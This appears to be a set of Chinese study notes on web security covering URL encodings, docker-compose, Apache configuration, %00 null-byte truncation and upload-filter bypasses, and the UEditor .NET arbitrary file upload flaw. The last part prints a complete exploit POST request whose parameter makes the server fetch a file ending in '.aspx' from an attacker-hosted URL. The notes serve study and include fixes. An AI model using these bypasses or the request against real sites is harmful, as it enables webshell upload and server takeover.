1.%u002e
%u002e
是一种 URL 编码形式,不过它属于Unicode 编码的一种特殊表示方式,主要用于早期的一些系统或编码场景中。
具体来说:
%u
前缀通常用于表示 Unicode 字符的十六进制编码,后面的002e
是字符的 Unicode 码点。- 码点
002e
对应的字符是英文句号(.
),所以%u002e
解码后就是.
。
2.docker-compose
docker-compose
是 Docker 官方提供的一款用于定义和运行多容器 Docker 应用的工具。通过一个 YAML 配置文件(通常命名为 docker-compose.yml
),可以统一管理多个容器的启动、停止、配置等,简化了多容器应用的部署流程。
核心作用
当应用需要多个容器协同工作时(例如:一个 Web 应用可能需要后端服务、数据库、缓存等容器),docker-compose
可以:
- 用一个配置文件定义所有容器的参数(镜像、端口映射、环境变量、依赖关系等)。
- 通过一条命令一键启动 / 停止所有关联容器。
- 自动创建和管理容器间的网络,确保容器间可通信。
3.Apache配置文件
在 Apache 服务器中,.htaccess
和 httpd.conf
都是用于配置服务器行为的文件,但它们在作用范围、使用场景和性能影响等方面有显著区别。
httpd.conf
httpd.conf
是 Apache 的主配置文件,是服务器的核心配置文件,通常位于 Apache 安装目录的 conf
文件夹中(例如:/etc/httpd/conf/httpd.conf
或 /usr/local/apache2/conf/httpd.conf
)。
特点:
- 作用范围:全局生效(除非被局部配置覆盖),配置整个服务器或特定虚拟主机(Virtual Host)。
- 配置内容:可定义服务器基础参数,如监听端口(
Listen 80
)、服务器根目录(ServerRoot
)、虚拟主机(<VirtualHost>
)、模块加载(LoadModule
)、全局访问控制等。 - 生效方式:修改后需重启或重新加载 Apache 才能生效(如
systemctl restart httpd
或apachectl graceful
)。 - 性能影响:几乎无性能损耗,因为配置在服务器启动时加载一次。
- 权限要求:需要服务器管理员权限(root 或 sudo)才能修改。
适用场景:
- 全局服务器配置(如默认端口、日志格式)。
- 虚拟主机配置(多个网站的独立设置)。
- 模块加载与全局参数调整。
.htaccess
.htaccess
是分布式配置文件,通常位于网站的某个目录(如网站根目录 public_html
或子目录)中,用于配置该目录及其子目录的访问规则。
特点:
- 作用范围:仅对当前目录及所有子目录生效(遵循 “就近原则”,子目录的
.htaccess
可覆盖父目录的配置)。 - 配置内容:主要用于目录级别的细粒度控制,如:
- URL 重写(配合
mod_rewrite
实现伪静态)。 - 页面跳转(301/302 重定向)。
- 访问控制(允许 / 禁止特定 IP 访问)。
- 自定义错误页面(404、500 等)。
- 设置缓存规则、启用 Gzip 压缩等。
- URL 重写(配合
- 生效方式:修改后无需重启 Apache,服务器会在访问该目录时自动读取。
- 性能影响:每次请求该目录下的文件时,Apache 都会检查
.htaccess
文件,可能增加服务器负担(尤其是目录层级多或流量大的网站)。 - 权限要求:普通用户(网站所有者)即可修改(只要文件权限允许)。
适用场景:
- 共享主机环境(用户无服务器 root 权限,无法修改
httpd.conf
)。 - 临时或频繁调整的目录级配置(如 URL 重写规则)。
- 不同目录需要独立配置的场景(如子目录密码保护)。
4.%00截断
%00
是 URL 中用于传输空字符的编码,\x00
是代码中用于表示空字符的语法,二者本质都对应 ASCII 0 的空字符,但应用场景完全不同。
形式 | 类型 | 用途 | 出现场景 |
---|---|---|---|
%00 | URL 编码 | 在 URL 中表示空字符 | 网络请求(路径、参数等) |
\x00 | 十六进制转义字符 | 在编程语言中表示空字符 | 代码中的字符串、字节处理 |
- 空字符在文本中通常不可见,主要用于标识字符串的结束(如 C 语言中)。
- 在 URL 中,
%00
属于特殊字符,正常情况下不会被使用,但可能被用于安全漏洞攻击(如 “空字节注入”)。例如,通过在文件名中插入%00
,可能绕过某些系统的文件类型检测(如file.php%00.jpg
可能被误判为图片文件,实际执行时解析为 PHP 文件)。
因为在 C 语言中字符串的结束标识符%00 是结束符号,而 PHP 就是 C 写的,所以
继承了 C 的特性,所以判断为%00 是结束符号不会继续往后执行
条件:PHP<5.3.29
5.move_uploaded_file()函数缺陷——文件上传
会把x.php/. 解析成x.php
6.图片马制作

做一个图片马的四种方法(详细步骤) – 1ink – 博客园
7.编辑器漏洞之Ueditor-任意文件上传漏洞
实战纪实 | 编辑器漏洞之Ueditor-任意文件上传漏洞 (老洞新谈)_ueditor漏洞-CSDN博客
1.1 漏洞描述
Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更新,该漏洞只存在于该编辑器的.net版本。其他的php,jsp,asp版本不受此UEditor的漏洞的影响,.net存在任意文件上传,绕过文件格式的限制,在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断。
1.2 影响范围
该漏洞影响UEditor的.Net版本,其它语言版本暂时未受影响。
1.3 漏洞原理
漏洞的成因是在获取图片资源时仅检查了ContentType,导致可以绕过达到任意文件上传。
1.4 漏洞修复
1.修改工程目录下net/App_Code/CrawlerHandler.cs文件,添加对文件类型检查的代码。
2.使用各类WAF软件,防止攻击者上传恶意文件。
3.检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。
POST /替换漏洞URL地址拼接/UEditor/net/controller.ashx?action=catchimage HTTP/1.1
Host: x.x.x.x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="100", "Chromium";v="100", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
source[]=http://替换为自己服务器开启http服务的URL地址/666.jpg?.aspx